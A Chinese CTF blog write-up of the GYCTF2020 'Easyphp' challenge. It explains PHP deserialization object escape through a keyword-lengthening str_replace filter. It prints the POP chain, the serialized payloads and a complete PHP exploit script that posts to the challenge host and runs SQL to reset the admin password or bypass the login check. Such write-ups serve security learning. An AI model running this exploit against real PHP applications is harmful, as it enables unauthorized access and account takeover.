[GYCTF2020]Easyphp

[GYCTF2020]Easyphp

考点:反序列化的对象逃逸

非常典型的登陆界面,随便输了输,发现存在admin用户,猜测是弱口令,拿字典跑了一遍,无果

按照以往的做题经验,觉得可能有源码泄露,尝试/www.zip得到源码。一共4个文件index.php、login.php、update.php、lib.php,然后开始进行分析源码

update.php中发现,如果成功登录就会输出flag

<?php
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

login.phpindex.php中没有发现利用点,显而易见,在lib.php中有很明显的魔术方法,猜测需要用到反序列化攻击,所以我们首先需要找到反序列化攻击的利用点,很明显在update方法中

public function update(){
    $Info=unserialize($this->getNewinfo());
    $age=$Info->age;
    $nickname=$Info->nickname;
    $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    //这个功能还没有写完 先占坑
}
public function getNewInfo(){
    $age=$_POST['age'];
    $nickname=$_POST['nickname'];
    return safe(serialize(new Info($age,$nickname)));
}

这里最重要的一句话safe(serialize(new Info($age,$nickname)))显示将Info类进行序列化然后经过safe过滤,然后再回到update方法中反序列化,再看看safe函数

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

其实不难想到,有str_replace方法的存在就能猜测是反序列化逃逸,在之前的[安洵杯 2019]easy_serialize_php一题中有说到过,这个属于关键词数增加型。在序列化和反序列化过程中,字符串发生了变化,导致了反序列化时的字符串为恶意构造的代码,从而造成攻击。

现在我们首先需要找到可以利用的pop链,这里就不详细说了,直接上链子

UpdateHelper::__destruct => User::__toString => Info::__call => dbCtrl::login
<?php
class User
{
    public $age=null;
    public $nickname=null;
    public function __construct()
    {
        $this->nickname = new Info;
        $this->age = 'select id,passwd from user where username=?';
    }
}

class Info{
    public function __construct(){
        $this->CtrlCase = new dbCtrl;
    }

}
Class UpdateHelper{
    public $sql;
    public function __construct(){
        $this->sql = new User;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name = "admin";
    public $password = '1';
}

$o = new UpdateHelper;
echo serialize($o);

运行代码得到

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

还没完,我们还需要通过逃逸来让这段恶意的字符串成功进行反序列化

public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

通过上面这个代码我们发现,有两个参数是可控的,举个例子

age=123&nikename=456
serialize(new Info($age,$nickname)) =》
O:4:"Info":3:{s:3:"age";s:3:"123";s:8:"nickname";s:3:"456";s:8:"CtrlCase";N;}

通过上述序列化字符串,我们可以构造出这样的参数

age=123&nickname=1";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}

此时形成的序列化字符串应该是这样的

O:4:"Info":3:{s:3:"age";s:3:"123";s:8:"nickname";s:343:"1";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}";s:8:"CtrlCase";N;}

我们只需要让nickname字段的长度经过safe函数后再增长343,就可以将而已代码逃逸出去了。

所以我们最终写出了exp:

<?php
class User
{
    public $age=null;
    public $nickname=null;
    public function __construct()
    {
        $this->nickname = new Info;
        $this->age = 'update user SET password="c4ca4238a0b923820dcc509a6f75849b" where username=?';
    }
}

class Info{
    public function __construct(){
        $this->CtrlCase = new dbCtrl;
    }

}
Class UpdateHelper{
    public $sql;
    public function __construct(){
        $this->sql = new User;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name = "admin";			// 这里一定要写,sql中的?是占位符
}

$o = new UpdateHelper;
// echo serialize($o);
$len = strlen('";s:8:"CtrlCase";'.serialize($o).';}');
$payload = str_repeat('union', $len).'";s:8:"CtrlCase";'.serialize($o).';}';
// echo $payload;

$data = array("age"=>"1","nickname"=>$payload);
$url = 'http://67f83c7f-1a30-49e5-8600-5f66e0add5a1.node4.buuoj.cn:81/update.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));//将数组转换为URL请求字符串,否则有些时候可能服务端接收不到参数 
curl_setopt($ch, CURLOPT_HEADER, false); 
$responds = curl_exec($ch);//接受响应 
curl_close($ch);//关闭连接 
echo $responds;

通过修改第9行的sql代码,这样我们就可以执行sql命令了

$result->bind_param('s', $this->name);
if ($this->token=='admin') {
    return $idResult;
}
if (!$idResult) {
    echo('用户不存在!');
    return false;
}
if (md5($this->password)!==$passwordResult) {
    echo('密码错误!');
    return false;
}
$_SESSION['token']=$this->name;
return $idResult;

这句话为将$this->name传给 sql 语句中?占位符

sql1:
select password,id from user where username=?

输出password,得到密码的md5值,解密后正常登录

sql2:
update user SET password="c4ca4238a0b923820dcc509a6f75849b" where username=?

修改admin用户的密码,c4ca4238a0b923820dcc509a6f75849b1的md5值

sql3:
select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

这个方法需要将dbCtrl类的password属性值改为1,利用绕过所有的if,从而使admin用户成功登录,直接返回login.php或刷新页面就可以得到flag,exp中

posted @ 2023-01-08 23:17  seizer-zyx  阅读(260)  评论(0编辑  收藏  举报